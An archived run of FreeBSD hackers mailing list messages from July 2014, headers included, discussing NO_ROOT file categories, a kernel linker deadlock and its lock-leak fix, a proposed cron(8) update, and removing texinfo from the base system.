Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Sean Fagan , hackers@freebsd.org Subject: Re: Expanding on NO_ROOT: Categorizing installed files References: <048B595B-6B91-40B6-84A4-E23948423354@ixsystems.com> In-Reply-To: <048B595B-6B91-40B6-84A4-E23948423354@ixsystems.com> X-Sonic-ID: C;lpQWE1QI5BGUH02zUc16mQ== M;8G4yE1QI5BGUH02zUc16mQ== X-Spam-Flag: No X-Sonic-Spam-Details: 0.0/5.0 by cerberusd Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 17:03:14 -0000 Don't we already have this in the form of the DISTRIBUTION make variable? That's what is already used for packaging the base system for the installer. -Nathan On 07/09/14 16:33, Sean Fagan wrote: > We've been looking at some significant changes to how we distribute and update FreeNAS; one of the things I've done is take the NO_ROOT build changes, and expand upon them to have categories. > > I'd like to say I went for minimal changes here, but mostly what I was going for was minimal work on my part. However, this seems to mostly work; the METALOG that gets generated has lines such as > > ./bin/cat type=file uname=root gname=wheel mode=0555 size=11520 category=base > > and I've written a python script that will take that METALOG, and create PKGNG-style packages from it. (This may be more useful for things like "category=dev", or "secure".) I did have to change xinstall a bit to handle this, and I also changed how it handled hard links for the metalog. > > Any comments on this? More importantly, any interest in it? > > (Note that I am not subscribed to the list from this address, so if you respond to the list, I may follow up from a different address :).) > > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 19:31:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D17B99FD for ; Thu, 10 Jul 2014 19:31:09 +0000 (UTC) Received: from secure.xzibition.com (secure.xzibition.com [173.160.118.92]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6ADF12C4E for ; Thu, 10 Jul 2014 19:31:08 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; c=nofws; d=shatow.net; h=message-id :date:from:mime-version:to:cc:subject:references:in-reply-to :content-type:content-transfer-encoding; q=dns; s=sweb; b=NPWsCU 0JH2SuFnTLBxSH9jJJhzYK9xxYCaXiAdHV+fMipxiFfIIKB7nHPeWlLKPFT57Dz7 IlDPyClSXfVgjpC2By9NYXGVeCb2Xz0JYCp88ZT4kMhJGLrPD4M9itcyC1VVmvGj 9M/QWeu8mHgtz7suLB17QQMlpFi8pSFCKZhjk= DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=shatow.net; h=message-id :date:from:mime-version:to:cc:subject:references:in-reply-to :content-type:content-transfer-encoding; s=sweb; bh=QsAGgrRAd3sF GC/J9NmN8YA+T1fIDg/taOP7PcG8IhI=; b=qIdxtr1gGca32oAGjGBwC4kau9t6 H1wFSipz1Bgh4ZAeV/oa3h1mf+4tDr16r3BodK5kkzIXZlz52GogTRYYtiYU8ks7 4kB67oYfz5m6oIX7hN/xDge0cZgB1U0fOVHI5UvQJlR1F7fOg/KFKzYcjZsJdgT9 U/gb76fw7MwDlTs= Received: (qmail 4700 invoked from network); 10 Jul 2014 14:24:25 -0500 Received: from unknown (HELO ?10.10.0.24?) (bryan@shatow.net@10.10.0.24) by sweb.xzibition.com with ESMTPA; 10 Jul 2014 14:24:25 -0500 Message-ID: <53BEE861.1020603@shatow.net> Date: Thu, 10 Jul 2014 14:24:17 -0500 From: Bryan Drewery User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: kldstat / kernel linker deadlock References: <50AED0B9.7040108@shatow.net> <201301111613.38676.jhb@freebsd.org> In-Reply-To: <201301111613.38676.jhb@freebsd.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 19:31:10 -0000 On 1/11/2013 3:13 PM, John Baldwin wrote: > On Thursday, November 22, 2012 08:26:17 PM Bryan Drewery wrote: >> On 8.3-RELEASE I've hit a deadlock with kldstat. >> >> I can't provide much information as procstat(1) locks up and I have >> already rebooted the servers due to it breaking quite a bit in my setup. >> >>> # kldstat >>> Id Refs Address Size Name >>> load: 0.91 cmd: kldstat 9936 [kernel linker] 51.21r 0.00u 0.00s 0% 768k >>> ^C >>> load: 0.72 cmd: kldstat 9936 [kernel linker] 225.23r 0.00u 0.00s 0% 704k >>> load: 0.72 cmd: kldstat 9936 [kernel linker] 225.39r 0.00u 0.00s 0% 704k >>> load: 0.42 cmd: kldstat 9936 [kernel linker] 1837.24r 0.00u 0.00s 0% >>> 692k >> >> Short list of affected processes (74 in all): >>> root 3685 0.0 0.0 3264 700 ?? D 7:27PM 0:00.00 >>> kldstat root 67061 0.0 0.0 3380 892 ?? D 7:27PM >>> 0:00.00 /usr/bin/netstat -nrf inet root 5579 0.0 0.0 3380 >>> 892 ?? D 7:37PM 0:00.00 /usr/bin/netstat -nrf inet root >>> 6393 0.0 0.0 3264 704 ?? D 7:32PM 0:00.00 /sbin/kldstat -v >>> root 99635 0.0 0.1 3324 1244 13 D+ 7:52PM 0:00.01 >>> procstat -ka >> >> [... 69 more removed ...] >> >> I had 2 minutely cron entries that were running kldstat(1)/netstat(1). >> >> Guessing the kldstat(1) and netstat(1) deadlocked initially. > > Next time get a dump if at all possible. > Pretty sure this was fixed in r224546 which did not get MFC'd to releng/8.3 before release. > r224546 | glebius | 2011-07-31 08:49:15 -0500 (Sun, 31 Jul 2011) | 4 lines > Changed paths: > M /head/sys/kern/kern_linker.c > > Don't leak kld_sx lock in kldunloadf(). > @@ -1108,12 +1108,13 @@ kern_kldunload(struct thread *td, int fi > #ifdef HWPMC_HOOKS > if (error == 0) { > KLD_DOWNGRADE(); > PMC_CALL_HOOK(td, PMC_FN_KLD_UNLOAD, (void *) &pkm); > KLD_UNLOCK_READ(); > } else > + KLD_UNLOCK(); > #else > KLD_UNLOCK(); > #endif I reviewed my logs from the day and found that the initial command I ran was 'kldunload linux' due to SA-12:08.linux.asc. The module was in use due to running processes using the linuxelf brand so the module had returned EBUSY. I also had HWPMC_HOOKS since it was in GENERIC. When EBUSY was returned the kld lock was kept xlocked. -- Regards, Bryan Drewery From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 22:59:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5B18D814 for ; Thu, 10 Jul 2014 22:59:23 +0000 (UTC) Received: from eastrmfepo102.cox.net (eastrmfepo102.cox.net [68.230.241.214]) by mx1.freebsd.org (Postfix) with ESMTP id 0299D2F08 for ; Thu, 10 Jul 2014 22:59:22 +0000 (UTC) Received: from eastrmimpo209 ([68.230.241.224]) by eastrmfepo102.cox.net (InterMail vM.8.01.05.15 201-2260-151-145-20131218) with ESMTP id <20140710225916.PSBO18526.eastrmfepo102.cox.net@eastrmimpo209> for ; Thu, 10 Jul 2014 18:59:16 -0400 Received: from [192.168.3.22] ([72.219.202.186]) by eastrmimpo209 with cox id QmzF1o00941obj401mzGpJ; Thu, 10 Jul 2014 18:59:16 -0400 X-CT-Class: Clean X-CT-Score: 0.00 X-CT-RefID: str=0001.0A020203.53BF1AC4.0089,ss=1,re=0.000,fgs=0 X-CT-Spam: 0 X-Authority-Analysis: v=2.0 cv=H/cFNZki c=1 sm=1 a=k40gPPfQ5QH6qv5U/EJc3Q==:17 a=f5xKl4ys9bwA:10 a=G8Uczd0VNMoA:10 a=Wajolswj7cQA:10 a=IkcTkHD0fZMA:10 a=kviXuzpPAAAA:8 a=pGLkceISAAAA:8 a=6I5d2MoRAAAA:8 a=9yZdCLXBaxRpkGpTl2AA:9 a=QEXdDO2ut3YA:10 a=4vB-4DCPJfMA:10 a=MSl-tDqOz04A:10 a=SV7veod9ZcQA:10 a=k40gPPfQ5QH6qv5U/EJc3Q==:117 X-CM-Score: 0.00 Authentication-Results: cox.net; none Message-ID: <53BF1AFF.8070707@cox.net> Date: Thu, 10 Jul 2014 19:00:15 -0400 From: "John D. Hendrickson and Sara Darnell" Reply-To: johnandsara2@cox.net User-Agent: Thunderbird 2.0.0.24 (X11/20100228) MIME-Version: 1.0 To: Eitan Adler Subject: Re: Improve cron(8) References: <53A72666.8090101@cox.net> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Mailman-Approved-At: Thu, 10 Jul 2014 23:18:31 +0000 Cc: freebsd-hackers@freebsd.org, =?UTF-8?B?VG9tZWsgV2HFgmFzemVr?= , freebsd-arch@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 22:59:23 -0000 Eitan Adler wrote: > On 22 June 2014 11:54, John D. Hendrickson and Sara Darnell > wrote: >> Eitan Adler wrote: >>> +arch since hackers@ seems to be silent. >>> >>> On 11 June 2014 23:56, Tomek WaĹ‚aszek wrote: >>>> Hello, >>>> I saw on the FreeBSD Ideas page topic about cron :). >>>> I've started updating the 'original' FreeBSD cron from sources to vixi >>>> cron >>>> 4.1. I think (well I hope :P) most of the features that were done in >>>> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunately >>>> some missing features at the moment: >>>> - @every_second - this need to be done >>>> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >>>> default, at the moment there is no -s and -o options. So you need to >>>> remove >>>> '-s' from the cron rc script >>>> >>>> I've also added one feature from OpenBSD, crontab is poking cron using >>>> unix-domain socket so we don't need to have suid on crontab. >>>> >>>> Path is in the attachment. I'm testing it on my FreeBSD box and it looks >>>> good but anyway don't try it on production machines :). >>>> >>>> After the installation we have to do a few things: >>>> - Add crontab group >>>> - Change group to crontab on /var/cron/tabs >>>> - Add sticky bit on /var/cron/tabs >>>> - Add group write permissions on /var/cron/tabs >>>> >>>> This is still work in progress but if someone could have a look on this >>>> and >>>> give me some feedback it would be great. >>>> >>>> Regards, >>>> Tomasz Walaszek >>>> >>>> _______________________________________________ >>>> freebsd-hackers@freebsd.org mailing list >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>> To unsubscribe, send any mail to >>>> "freebsd-hackers-unsubscribe@freebsd.org" >>> >>> >>> >> you should up the version number or start your own renamed application > ... > > I don't know how to react to this message. You just told a potential > contributor not to contribute since he was not the founder of the > project. That goes against everything that open source is about. > > i think i read the origional too quickly. Tomek appears to say BAS cron was before Vixie Cron i didn't see that. however i'll go ahead and repeat it. contributing does not mean altering the way software other people are using works, like sed(1) or chron(1) i hope Not expect to all have to revisit years back, maybe many scripts and redo old scripts because one person wishes new features which WOULD cause problems: user permission and security features done in a different way and which require socket software i did not discourage a contribution. i asked the project retain a different name if the new features cause problems with critical software. anyone would be free to use the different name or rename it without conflicting with existing situations. i'm sure you know some software tries to use cron for system maintenance both in scripts and sometimes from C code. of course he should edit and recompile bsd things i'd like to as well i have not got the chance issue was naming and sharing work, ie, which branch or trunk is checked out when one installs bsd , so to speak From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 23:10:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3043B9FC for ; Thu, 10 Jul 2014 23:10:31 +0000 (UTC) Received: from eastrmfepo102.cox.net (eastrmfepo102.cox.net [68.230.241.214]) by mx1.freebsd.org (Postfix) with ESMTP id CC7062092 for ; Thu, 10 Jul 2014 23:10:30 +0000 (UTC) Received: from eastrmimpo210 ([68.230.241.225]) by eastrmfepo102.cox.net (InterMail vM.8.01.05.15 201-2260-151-145-20131218) with ESMTP id <20140710231030.QCMR18526.eastrmfepo102.cox.net@eastrmimpo210> for ; Thu, 10 Jul 2014 19:10:30 -0400 Received: from [192.168.3.22] ([72.219.202.186]) by eastrmimpo210 with cox id QnAV1o00E41obj401nAV3h; Thu, 10 Jul 2014 19:10:29 -0400 X-CT-Class: Clean X-CT-Score: 0.00 X-CT-RefID: str=0001.0A020208.53BF1D65.01D2,ss=1,re=0.000,fgs=0 X-CT-Spam: 0 X-Authority-Analysis: v=2.0 cv=aZC/a2Ut c=1 sm=1 a=k40gPPfQ5QH6qv5U/EJc3Q==:17 a=f5xKl4ys9bwA:10 a=G8Uczd0VNMoA:10 a=Wajolswj7cQA:10 a=IkcTkHD0fZMA:10 a=kviXuzpPAAAA:8 a=iPQX104nh9CmW5Tgo0oA:9 a=QEXdDO2ut3YA:10 a=2DpKuaG0z5UA:10 a=AhGx-PANj34A:10 a=k40gPPfQ5QH6qv5U/EJc3Q==:117 X-CM-Score: 0.00 Authentication-Results: cox.net; none Message-ID: <53BF1DA0.5040605@cox.net> Date: Thu, 10 Jul 2014 19:11:28 -0400 From: "John D. Hendrickson and Sara Darnell" Reply-To: johnandsara2@cox.net User-Agent: Thunderbird 2.0.0.24 (X11/20100228) MIME-Version: 1.0 To: Adrian Chadd Subject: Re: Improve cron(8) References: <53A72666.8090101@cox.net> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Thu, 10 Jul 2014 23:33:03 +0000 Cc: "freebsd-hackers@freebsd.org" , =?UTF-8?B?VG9tZWsgV2HFgmFzemVr?= , "freebsd-arch@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 23:10:31 -0000 Adrian Chadd wrote: > Actually, I know how to react to that. > > Don't dissuade someone from contributing. Discuss the changes and > whether they're positive or negative. > > -a i did not intend to be negative about patches offered nor did i say not to offer a patch or discuss update you are certainly adding words in my mouth From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 23:58:16 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5A071563 for ; Thu, 10 Jul 2014 23:58:16 +0000 (UTC) Received: from eastrmfepo102.cox.net (eastrmfepo102.cox.net [68.230.241.214]) by mx1.freebsd.org (Postfix) with ESMTP id 00B5C2488 for ; Thu, 10 Jul 2014 23:58:15 +0000 (UTC) Received: from eastrmimpo209 ([68.230.241.224]) by eastrmfepo102.cox.net (InterMail vM.8.01.05.15 201-2260-151-145-20131218) with ESMTP id <20140710235815.RSOL18526.eastrmfepo102.cox.net@eastrmimpo209> for ; Thu, 10 Jul 2014 19:58:15 -0400 Received: from [192.168.3.22] ([72.219.202.186]) by eastrmimpo209 with cox id QnyE1o00T41obj401nyECM; Thu, 10 Jul 2014 19:58:15 -0400 X-CT-Class: Clean X-CT-Score: 0.00 X-CT-RefID: str=0001.0A020202.53BF2897.001A,ss=1,re=0.000,fgs=0 X-CT-Spam: 0 X-Authority-Analysis: v=2.0 cv=H/cFNZki c=1 sm=1 a=k40gPPfQ5QH6qv5U/EJc3Q==:17 a=9cW_t1CCXrUA:10 a=f5xKl4ys9bwA:10 a=poYb7sIEdpsA:10 a=G8Uczd0VNMoA:10 a=Wajolswj7cQA:10 a=N659UExz7-8A:10 a=kviXuzpPAAAA:8 a=6I5d2MoRAAAA:8 a=HjEgb3SSAAAA:8 a=yFAdIGmQAAAA:8 a=quTYLnpBfet3S0qcroIA:9 a=pILNOxqGKmIA:10 a=h5Q9gI9EKS8A:10 a=SV7veod9ZcQA:10 a=__daLkwkpeoA:10 a=k40gPPfQ5QH6qv5U/EJc3Q==:117 X-CM-Score: 0.00 Authentication-Results: cox.net; none Message-ID: <53BF28D1.8010604@cox.net> Date: Thu, 10 Jul 2014 19:59:13 -0400 From: "John D. Hendrickson and Sara Darnell" Reply-To: johnandsara2@cox.net User-Agent: Thunderbird 2.0.0.24 (X11/20100228) MIME-Version: 1.0 Subject: Re: [CFR] Remove texinfo from base References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> <20140625105209.GC23976@ivaldir.etoilebsd.net> <20140625110049.GF86779@over-yonder.net> <40EA1066-4776-4B2E-988A-9900BB842862@bsdimp.com> <20140625154758.GD23976@ivaldir.etoilebsd.net> In-Reply-To: Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-Mailman-Approved-At: Fri, 11 Jul 2014 00:05:16 +0000 Cc: hackers@FreeBSD.org, "Matthew D. Fuller" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 23:58:16 -0000 Warner Losh wrote: > On Jun 25, 2014, at 8:47 AM, Baptiste Daroussin wrote: > >> On Wed, Jun 25, 2014 at 08:20:41AM -0700, Warner Losh wrote: >>> On Jun 25, 2014, at 4:00 AM, Matthew D. Fuller wrote: >>> >>>> On Wed, Jun 25, 2014 at 12:52:10PM +0200 I heard the voice of >>>> Baptiste Daroussin, and lo! it spake thus: >>>>> I have just committed the support for this in ports, anyway breakage >>>>> should be reported, right now it seems fine on my exp-run >>>> Oh, yes. Sorry, I did phrase that poorly. This shouldn't _break_ >>>> anything, but I suspect it will uncover existing-but-hidden breakage. >>>> >>>> Which is good. But does merit awareness that "hey, this will probably >>>> happen somewhere, so know this is a place to look when a build >>>> breaks". >>> I know it will break certain nanobsd configurations that build ports because >>> dependencies there (at least for the ones I’ve done) aren’t well handled. So >>> I agree that this patch is missing, at the very least, an UPDATING entry and >>> a __FreeBSD_version bump. >> If you build a port that needs texinfo the port framework will do what it needs > > Except in environments that don’t do dependencies quite right, or where only a subset > of ports tree has been imported and texinfo isn’t part of that… But people with them > usually know, which is why UPDATING is needed. That’s all. There’s nothing else for you > to do. > > Warner i a few times heard there was and IS a long standing stand-off between info(1) and man(1) because man was copyright at least in part and further reasons that were not discussed. remove the ability to look at existing info pages of say m4.info why? replace it with what ? i'm impartial. i like both, made a manpage maker, would like a good info editor haven't come across yet. coolman in nonfree, tkinfo is free. debian won't allow manpages on it's user groups do you know anything about this standoff between the online page and online manual systems ? are you saying that whatever microbsd prefers should be the base of bsd ? is microbsd used by Apple or something ? From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 11 00:09:03 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 58C749C1 for ; Fri, 11 Jul 2014 00:09:03 +0000 (UTC) Received: from mail-we0-x22f.google.com (mail-we0-x22f.google.com [IPv6:2a00:1450:400c:c03::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DD9E12582 for ; Fri, 11 Jul 2014 00:09:02 +0000 (UTC) Received: by mail-we0-f175.google.com with SMTP id k48so306534wev.34 for ; Thu, 10 Jul 2014 17:09:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=GahqaULmaF6rpR/wWGhA321hrGgsSZYPFgkV8fZaMJ4=; b=JEe2GycLlkb2N2F9gLPi86su5yhlECY/S33Jixw/NPCLArGqrA/hBAM4GjKwzHDW+p HpYkac71nsEnqXuiLKgfNabL89IGLvh7SPncClbZxhyCpxZ0pEBv4XHo0y6Qrgh2PCrW H18C1rTlAhDJ1P9UD4yjkwecKyWFBW5KmujglCr1DmG1QWy8R7U68YVquaajk0V1dFm1 5ZqPna2T44KiTD6CXahCRZrm+tJSYZfIdBo4+ZbYvdwh5ZCdHi9JdliTmIHgBWSM6bIl Xtn1oqbKRAYPspaDQX2QdqFlFG4wwFH7ud7JqEdCuQxUgueOSBOfOppMcewqGD+deKSM erhg== X-Received: by 10.180.19.1 with SMTP id a1mr422574wie.16.1405037340333; Thu, 10 Jul 2014 17:09:00 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id rw4sm1412460wjb.44.2014.07.10.17.08.58 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 10 Jul 2014 17:08:59 -0700 (PDT) Sender: Baptiste Daroussin Date: Fri, 11 Jul 2014 02:08:56 +0200 From: Baptiste Daroussin To: "John D. Hendrickson and Sara Darnell" Subject: Re: [CFR] Remove texinfo from base Message-ID: <20140711000856.GH93051@ivaldir.etoilebsd.net> References: <20140625103107.GB23976@ivaldir.etoilebsd.net> <20140625104540.GE86779@over-yonder.net> <20140625105209.GC23976@ivaldir.etoilebsd.net> <20140625110049.GF86779@over-yonder.net> <40EA1066-4776-4B2E-988A-9900BB842862@bsdimp.com> <20140625154758.GD23976@ivaldir.etoilebsd.net> <53BF28D1.8010604@cox.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="/9ZOS6odDaRI+0hI" Content-Disposition: inline In-Reply-To: <53BF28D1.8010604@cox.net> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: hackers@FreeBSD.org, "Matthew D. Fuller" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Jul 2014 00:09:03 -0000 --/9ZOS6odDaRI+0hI Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Jul 10, 2014 at 07:59:13PM -0400, John D. Hendrickson and Sara Darn= ell wrote: > Warner Losh wrote: > > On Jun 25, 2014, at 8:47 AM, Baptiste Daroussin wrot= e: > >=20 > >> On Wed, Jun 25, 2014 at 08:20:41AM -0700, Warner Losh wrote: > >>> On Jun 25, 2014, at 4:00 AM, Matthew D. Fuller wrote: > >>> > >>>> On Wed, Jun 25, 2014 at 12:52:10PM +0200 I heard the voice of > >>>> Baptiste Daroussin, and lo! it spake thus: > >>>>> I have just committed the support for this in ports, anyway breakage > >>>>> should be reported, right now it seems fine on my exp-run > >>>> Oh, yes. Sorry, I did phrase that poorly. This shouldn't _break_ > >>>> anything, but I suspect it will uncover existing-but-hidden breakage. > >>>> > >>>> Which is good. But does merit awareness that "hey, this will probab= ly > >>>> happen somewhere, so know this is a place to look when a build > >>>> breaks". > >>> I know it will break certain nanobsd configurations that build ports = because > >>> dependencies there (at least for the ones I=E2=80=99ve done) aren=E2= =80=99t well handled. So > >>> I agree that this patch is missing, at the very least, an UPDATING en= try and > >>> a __FreeBSD_version bump. > >> If you build a port that needs texinfo the port framework will do what= it needs > >=20 > > Except in environments that don=E2=80=99t do dependencies quite right, = or where only a subset > > of ports tree has been imported and texinfo isn=E2=80=99t part of that= =E2=80=A6 But people with them > > usually know, which is why UPDATING is needed. That=E2=80=99s all. Ther= e=E2=80=99s nothing else for you > > to do. > >=20 > > Warner >=20 > i a few times heard there was and IS a long standing stand-off between=20 > info(1) and man(1) because man was copyright at least in part and=20 > further reasons that were not discussed. >=20 > remove the ability to look at existing info pages of say m4.info why? We do not have m4.info pages and so for a while :) in base because we do not have GNU m4 in base. >=20 > replace it with what ? >=20 > i'm impartial. i like both, made a manpage maker, would like a good=20 > info editor haven't come across yet. coolman in nonfree, tkinfo is=20 > free. debian won't allow manpages on it's user groups >=20 > do you know anything about this standoff between the online page and=20 > online manual systems ? >=20 > are you saying that whatever microbsd prefers should be the base of bsd ? >=20 > is microbsd used by Apple or something ? [...] skipping the above because I don't understand how it comes to the conversation. If you want to read info pages just install texinfo from ports or add WITH_= INFO in your src.conf. regards, Bapt --/9ZOS6odDaRI+0hI Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iEYEARECAAYFAlO/KxgACgkQ8kTtMUmk6Ez/JQCeM/A+NdQ4C59Chwdw9l/q177i E+oAnRBdt+bCnhWUTYuQrDPdyVxYu25/ =ODPr -----END PGP SIGNATURE----- --/9ZOS6odDaRI+0hI-- From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 11 00:36:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6594247A for ; Fri, 11 Jul 2014 00:36:17 +0000 (UTC) Received: from eastrmfepi206.cox.net (eastrmfepi206.cox.net [68.230.241.210]) by mx1.freebsd.org (Postfix) with ESMTP id 0FD9E280C for ; Fri, 11 Jul 2014 00:36:16 +0000 (UTC) Received: from eastrmimpo110 ([68.230.241.223]) by eastrmfepo202.cox.net (InterMail vM.8.01.05.15 201-2260-151-145-20131218) with ESMTP id <20140710234210.GVRN22448.eastrmfepo202.cox.net@eastrmimpo110> for ; Thu, 10 Jul 2014 19:42:10 -0400 Received: from [192.168.3.22] ([72.219.202.186]) by eastrmimpo110 with cox id Qni91o00L41obj401niAdS; Thu, 10 Jul 2014 19:42:10 -0400 X-CT-Class: Clean X-CT-Score: 0.00 X-CT-RefID: str=0001.0A020208.53BF24D2.006D,ss=1,re=0.000,fgs=0 X-CT-Spam: 0 X-Authority-Analysis: v=2.0 cv=GKHW5JxK c=1 sm=1 a=k40gPPfQ5QH6qv5U/EJc3Q==:17 a=9cW_t1CCXrUA:10 a=f5xKl4ys9bwA:10 a=G8Uczd0VNMoA:10 a=Wajolswj7cQA:10 a=8nJEP1OIZ-IA:10 a=kviXuzpPAAAA:8 a=YBTvvWOgv1z6kiV7-ccA:9 a=wPNLvfGTeEIA:10 a=tkvPNXmsOoIA:10 a=wgK2LWaXZbkA:10 a=k40gPPfQ5QH6qv5U/EJc3Q==:117 X-CM-Score: 0.00 Authentication-Results: cox.net; none Message-ID: <53BF250D.6090201@cox.net> Date: Thu, 10 Jul 2014 19:43:09 -0400 From: "John D. Hendrickson and Sara Darnell" Reply-To: johnandsara2@cox.net User-Agent: Thunderbird 2.0.0.24 (X11/20100228) MIME-Version: 1.0 Subject: Re: Improve cron(8) References: <53A72666.8090101@cox.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Fri, 11 Jul 2014 00:42:31 +0000 Cc: freebsd-hackers@freebsd.org, freebsd-arch@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Jul 2014 00:36:17 -0000 i did have some concerns about "how easy is socket security", use of a /tmp as /etc, and effects on crontabs people have (diff perms) but i'll back out of the discussion you all discuss it thanks have a good day i'll head onto another topic :) have fun From owner-freebsd-hackers@FreeBSD.ORG Fri Jul 11 08:39:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 406651B6 for ; Fri, 11 Jul 2014 08:39:37 +0000 (UTC) Received: from mail.digital-infotech.net (mail.digital-infotech.net [41.211.25.193]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D90F02F11 for ; Fri, 11 Jul 2014 08:39:36 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mail.digital-infotech.net (Postfix) with ESMTP id 49D842E410A for ; Fri, 11 Jul 2014 08:32:31 +0000 (GMT) Received: from mail.digital-infotech.net 